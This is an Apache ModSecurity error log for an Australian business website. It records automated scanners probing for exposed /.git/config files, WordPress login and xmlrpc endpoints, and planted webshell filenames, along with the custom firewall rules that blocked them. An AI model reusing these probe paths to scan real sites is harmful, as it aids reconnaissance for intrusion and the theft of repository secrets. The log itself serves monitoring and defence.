[Tue Apr 14 22:03:52.402162 2026] [:error] [pid 59986:tid 60034] [client 20.188.36.87:11169] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "ad5JSJ6axKeW6bX4H7eWZQAAAE4"]
[Tue Apr 14 22:18:42.615419 2026] [:error] [pid 3778:tid 3797] [client 154.54.100.171:46048] [client 154.54.100.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "ad5Mwhx5DfpNmYF_PaH7tgAAAVE"]
[Wed Apr 15 02:07:42.453219 2026] [:error] [pid 62296:tid 62327] [client 152.42.177.39:41674] [client 152.42.177.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.42.177.39, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "ad6CbsTNd04nWM2DK4SX9wAAAEA"]
[Wed Apr 15 02:07:42.457066 2026] [:error] [pid 62296:tid 62327] [client 152.42.177.39:41674] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Wed Apr 15 02:07:42.643891 2026] [:error] [pid 62295:tid 62307] [client 152.42.177.39:45496] [client 152.42.177.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.42.177.39, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "ad6Cbhng-JDNFCa0BniMDgAAAAg"]
[Wed Apr 15 02:07:42.647577 2026] [:error] [pid 62295:tid 62307] [client 152.42.177.39:45496] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Wed Apr 15 04:01:31.092762 2026] [:error] [pid 4067:tid 4131] [client 216.81.248.211:50500] [client 216.81.248.211] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "ad6dG-5XHBJU8ZrRxZ0JPgAAAIA"]
[Wed Apr 15 11:45:06.203813 2026] [:error] [pid 30644:tid 30664] [client 159.89.55.133:58362] [client 159.89.55.133] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "ad8Jwq8vuyJ0N41zsM8hbwAAAM4"]
[Wed Apr 15 12:18:50.221740 2026] [:error] [pid 51186:tid 51191] [client 45.94.31.16:58581] File does not exist: /usr/local/apache/htdocs/suspended-page/txets.php
[Wed Apr 15 12:18:51.210503 2026] [:error] [pid 51186:tid 51207] [client 45.94.31.16:56238] [client 45.94.31.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/txets.php"] [unique_id "ad8Rq1fx1CjK_ZPfY1SWTQAAAVM"]
[Wed Apr 15 12:18:51.698456 2026] [:error] [pid 50234:tid 50257] [client 45.94.31.16:62774] [client 45.94.31.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "ad8Rq9r0cDjH19-BoGzcjgAAARU"]
[Wed Apr 15 12:18:52.193997 2026] [:error] [pid 30644:tid 30657] [client 45.94.31.16:64741] [client 45.94.31.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "ad8RrK8vuyJ0N41zsM8pfAAAAMc"]
[Wed Apr 15 12:18:53.189850 2026] [:error] [pid 50234:tid 50258] [client 45.94.31.16:60164] [client 45.94.31.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/txets.php"] [unique_id "ad8Rrdr0cDjH19-BoGzclAAAARY"]
[Wed Apr 15 12:18:53.680787 2026] [:error] [pid 50234:tid 50236] [client 45.94.31.16:63547] File does not exist: /usr/local/apache/htdocs/suspended-page/schallfuns.php
[Wed Apr 15 12:18:54.175924 2026] [:error] [pid 50234:tid 50245] [client 45.94.31.16:50475] File does not exist: /usr/local/apache/htdocs/suspended-page/postnews.php
[Wed Apr 15 15:41:49.072286 2026] [:error] [pid 11385:tid 11448] [client 112.202.118.240:11238] [client 112.202.118.240] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 112.202.118.240, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "ad9BPR_mZoXMMCiUoKU5UAAAAMI"]
[Wed Apr 15 15:41:49.077082 2026] [:error] [pid 11385:tid 11448] [client 112.202.118.240:11238] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Wed Apr 15 23:49:15.108480 2026] [:error] [pid 37370:tid 37388] [client 178.128.55.238:57433] [client 178.128.55.238] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.128.55.238, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "ad-ze3g-gnM2Ga0cGACulQAAARA"]
[Wed Apr 15 23:49:15.112182 2026] [:error] [pid 37370:tid 37388] [client 178.128.55.238:57433] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Thu Apr 16 02:40:34.477911 2026] [:error] [pid 912:tid 979] [client 172.71.164.33:14132] [client 172.71.164.33] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.windfarmcoolants.com.au"] [uri "/"] [unique_id "ad_bosU0_VzYCBipADk7mwAAAQs"]
[Thu Apr 16 02:43:18.674405 2026] [:error] [pid 54814:tid 54839] [client 91.200.101.138:56402] [client 91.200.101.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/graphql"] [unique_id "ad_cRjrHu_-tAAe-BOW9mgAAAZM"]
[Thu Apr 16 03:01:28.668913 2026] [:error] [pid 54814:tid 54821] [client 52.165.250.244:59472] [client 52.165.250.244] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "ad_giDrHu_-tAAe-BOXDQgAAAYE"], referer: https://www.yahoo.com/
[Thu Apr 16 03:02:59.053985 2026] [:error] [pid 54814:tid 54833] [client 20.25.153.53:63373] [client 20.25.153.53] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "ad_g4zrHu_-tAAe-BOXDrwAAAY0"], referer: https://www.youtube.com/
[Thu Apr 16 03:04:33.464789 2026] [:error] [pid 20548:tid 20560] [client 172.215.217.96:56347] [client 172.215.217.96] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "ad_hQakpqgnqCHq6bJbUuQAAAIk"], referer: https://stackoverflow.com/
[Thu Apr 16 03:46:42.156712 2026] [ssl:error] [pid 26997:tid 27066] [client 143.244.47.83:5157] AH02032: Hostname mail.kasoft.com.tr provided via SNI and hostname windfarmcoolants.com.au provided via HTTP have no compatible SSL setup
[Thu Apr 16 04:50:32.369357 2026] [:error] [pid 57538:tid 57603] [client 52.224.244.99:59416] [client 52.224.244.99] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "ad_6GMuMaiEF5SVR2BcLbQAAAIE"], referer: https://www.reddit.com/
[Thu Apr 16 04:51:56.493666 2026] [:error] [pid 29603:tid 29619] [client 20.62.254.170:21584] [client 20.62.254.170] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "ad_6bFfGOR6fpTWUAzqG0wAAAQ4"], referer: https://www.notion.so/
[Thu Apr 16 04:55:28.122768 2026] [:error] [pid 29603:tid 29616] [client 52.173.237.217:47176] [client 52.173.237.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "ad_7QFfGOR6fpTWUAzqIWAAAAQs"], referer: https://www.bing.com/search?q=
[Thu Apr 16 06:21:22.981614 2026] [:error] [pid 49094:tid 49099] [client 40.83.91.255:2812] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Thu Apr 16 06:21:23.105382 2026] [:error] [pid 49094:tid 49118] [client 40.83.91.255:2812] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Thu Apr 16 06:21:23.228680 2026] [:error] [pid 49094:tid 49116] [client 40.83.91.255:2812] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php
[Thu Apr 16 06:21:23.352121 2026] [:error] [pid 49094:tid 49106] [client 40.83.91.255:2812] File does not exist: /usr/local/apache/htdocs/suspended-page/goods.php
[Thu Apr 16 06:21:23.488038 2026] [:error] [pid 49094:tid 49103] [client 40.83.91.255:2812] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-edit.php
[Thu Apr 16 06:21:23.612100 2026] [:error] [pid 49094:tid 49109] [client 40.83.91.255:2812] File does not exist: /usr/local/apache/htdocs/suspended-page/bgymj.php
[Thu Apr 16 06:21:23.863770 2026] [:error] [pid 49094:tid 49120] [client 40.83.91.255:2812] File does not exist: /usr/local/apache/htdocs/suspended-page/404.php
[Thu Apr 16 06:21:23.987149 2026] [:error] [pid 49094:tid 49101] [client 40.83.91.255:2812] File does not exist: /usr/local/apache/htdocs/suspended-page/file3.php
[Thu Apr 16 06:21:24.111550 2026] [:error] [pid 49094:tid 49096] [client 40.83.91.255:2812] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-mail.php
[Thu Apr 16 06:21:24.239446 2026] [:error] [pid 49094:tid 49098] [client 40.83.91.255:2812] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Thu Apr 16 06:21:24.359825 2026] [:error] [pid 49094:tid 49107] [client 40.83.91.255:2812] [client 40.83.91.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "aeAPZDbDwvcXorHR_MyL2gAAAUs"]
[Thu Apr 16 06:21:24.851211 2026] [:error] [pid 29603:tid 29621] [client 40.83.91.255:3633] [client 40.83.91.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "aeAPZFfGOR6fpTWUAzrDRAAAARA"]
[Thu Apr 16 06:21:25.364586 2026] [:error] [pid 57536:tid 57557] [client 40.83.91.255:2889] [client 40.83.91.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "aeAPZSQU4faGja6jpDt-3QAAAAk"]
[Thu Apr 16 06:21:25.874706 2026] [:error] [pid 57536:tid 57563] [client 40.83.91.255:3645] [client 40.83.91.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "aeAPZSQU4faGja6jpDt-3gAAAA8"]
[Thu Apr 16 06:55:45.244706 2026] [:error] [pid 29603:tid 29615] [client 20.199.125.41:12020] File does not exist: /usr/local/apache/htdocs/suspended-page/edit-tags.php
[Thu Apr 16 06:55:45.632496 2026] [:error] [pid 29603:tid 29619] [client 20.199.125.41:12020] File does not exist: /usr/local/apache/htdocs/suspended-page/mamzi.php
[Thu Apr 16 06:55:45.949945 2026] [:error] [pid 29603:tid 29605] [client 20.199.125.41:12020] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lef.php"] [unique_id "aeAXcVfGOR6fpTWUAzrVeAAAAQA"]
[Thu Apr 16 06:55:46.773315 2026] [:error] [pid 57538:tid 57623] [client 20.199.125.41:18891] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lef.php"] [unique_id "aeAXcsuMaiEF5SVR2BdA-wAAAJU"]
[Thu Apr 16 06:55:48.162109 2026] [:error] [pid 57639:tid 57660] [client 20.199.125.41:54651] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lef.php"] [unique_id "aeAXdKMCQoTw7TsxWunQ8gAAAM4"]
[Thu Apr 16 06:55:49.479612 2026] [:error] [pid 49094:tid 49108] [client 20.199.125.41:12751] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lef.php"] [unique_id "aeAXdTbDwvcXorHR_MyjSgAAAUw"]
[Thu Apr 16 06:55:50.676366 2026] [:error] [pid 49094:tid 49107] [client 20.199.125.41:59586] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new2.php"] [unique_id "aeAXdjbDwvcXorHR_MyjSwAAAUs"]
[Thu Apr 16 06:55:51.711763 2026] [:error] [pid 49094:tid 49114] [client 20.199.125.41:37859] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new2.php"] [unique_id "aeAXdzbDwvcXorHR_MyjTQAAAVI"]
[Thu Apr 16 06:55:52.777871 2026] [:error] [pid 49094:tid 49120] [client 20.199.125.41:54630] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new2.php"] [unique_id "aeAXeDbDwvcXorHR_MyjUAAAAVg"]
[Thu Apr 16 06:55:53.763869 2026] [:error] [pid 29603:tid 29622] [client 20.199.125.41:3808] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new2.php"] [unique_id "aeAXeVfGOR6fpTWUAzrVgwAAARE"]
[Thu Apr 16 06:55:54.753621 2026] [:error] [pid 57639:tid 57669] [client 20.199.125.41:54649] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fallbackapi.php"] [unique_id "aeAXeqMCQoTw7TsxWunQ-gAAANc"]
[Thu Apr 16 06:55:55.500998 2026] [:error] [pid 57538:tid 57612] [client 20.199.125.41:31232] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fallbackapi.php"] [unique_id "aeAXe8uMaiEF5SVR2BdBFgAAAIo"]
[Thu Apr 16 06:55:56.799445 2026] [:error] [pid 57639:tid 57647] [client 20.199.125.41:33979] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fallbackapi.php"] [unique_id "aeAXfKMCQoTw7TsxWunQ_QAAAME"]
[Thu Apr 16 06:55:58.351418 2026] [:error] [pid 29603:tid 29614] [client 20.199.125.41:16269] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fallbackapi.php"] [unique_id "aeAXflfGOR6fpTWUAzrVhQAAAQk"]
[Thu Apr 16 06:55:59.344474 2026] [:error] [pid 57639:tid 57654] [client 20.199.125.41:55449] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-0fsdhv.php"] [unique_id "aeAXf6MCQoTw7TsxWunRBQAAAMg"]
[Thu Apr 16 06:56:02.452145 2026] [:error] [pid 29603:tid 29628] [client 20.199.125.41:52847] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-0fsdhv.php"] [unique_id "aeAXglfGOR6fpTWUAzrVhwAAARc"]
[Thu Apr 16 06:56:11.574561 2026] [:error] [pid 57538:tid 57619] [client 20.199.125.41:29034] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-0fsdhv.php"] [unique_id "aeAXi8uMaiEF5SVR2BdBGgAAAJE"]
[Thu Apr 16 06:56:13.792970 2026] [:error] [pid 49094:tid 49112] [client 20.199.125.41:35794] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-0fsdhv.php"] [unique_id "aeAXjTbDwvcXorHR_MyjWgAAAVA"]
[Thu Apr 16 06:56:15.030426 2026] [:error] [pid 49094:tid 49116] [client 20.199.125.41:58352] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rnenu.php"] [unique_id "aeAXjzbDwvcXorHR_MyjYAAAAVQ"]
[Thu Apr 16 06:56:16.889398 2026] [:error] [pid 57537:tid 57575] [client 20.199.125.41:29036] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rnenu.php"] [unique_id "aeAXkFVQRS8nm73ENAk5iQAAAEA"]
[Thu Apr 16 06:56:18.081967 2026] [:error] [pid 57639:tid 57649] [client 20.199.125.41:21914] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rnenu.php"] [unique_id "aeAXkqMCQoTw7TsxWunRCgAAAMM"]
[Thu Apr 16 06:56:18.886772 2026] [:error] [pid 57639:tid 57664] [client 20.199.125.41:34003] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rnenu.php"] [unique_id "aeAXkqMCQoTw7TsxWunRDAAAANI"]
[Thu Apr 16 06:56:20.762342 2026] [:error] [pid 57537:tid 57598] [client 20.199.125.41:11199] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/congeree.php"] [unique_id "aeAXlFVQRS8nm73ENAk5jgAAAFc"]
[Thu Apr 16 06:56:21.812858 2026] [:error] [pid 29603:tid 29616] [client 20.199.125.41:58969] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/congeree.php"] [unique_id "aeAXlVfGOR6fpTWUAzrVjgAAAQs"]
[Thu Apr 16 06:56:22.972932 2026] [:error] [pid 29603:tid 29608] [client 20.199.125.41:35787] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/congeree.php"] [unique_id "aeAXllfGOR6fpTWUAzrVjwAAAQM"]
[Thu Apr 16 06:56:23.927586 2026] [:error] [pid 57536:tid 57553] [client 20.199.125.41:18532] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/congeree.php"] [unique_id "aeAXlyQU4faGja6jpDuF7QAAAAU"]
[Thu Apr 16 06:56:27.093010 2026] [:error] [pid 57538:tid 57626] [client 20.199.125.41:19516] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/seo.php"] [unique_id "aeAXm8uMaiEF5SVR2BdBIQAAAJg"]
